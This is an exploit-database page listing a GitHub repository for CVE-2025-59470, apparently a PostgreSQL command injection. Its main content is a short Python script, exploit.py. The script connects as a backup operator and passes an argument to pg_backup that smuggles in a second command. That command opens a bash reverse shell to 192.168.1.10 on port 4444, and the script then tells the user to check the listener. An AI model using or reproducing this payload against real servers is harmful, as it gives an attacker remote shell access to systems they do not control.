Exploit databaseDownload repository ZIP
GH-aa05b971131c010808c2fe6b8ab21f26
george0papasotiriou/cve-2025-59470-postgresql-command-injection
Sources for CVE-2025-59470
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files3
george0papasotiriou/cve-2025-59470-postgresql-command-injectionRevision 41cf687278a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 397 bytesimport psycopg2
conn = psycopg2.connect(host="target", database="postgres", user="backup_operator", password="pass")
cur = conn.cursor()
# Inject command to create a reverse shell
cur.execute("SELECT pg_backup('--backup-dir=/tmp; bash -c \"bash -i >& /dev/tcp/192.168.1.10/4444 0>&1\"')")
result = cur.fetchone()
print("[+] Command injection attempted. Check listener.")
cur.close()
conn.close()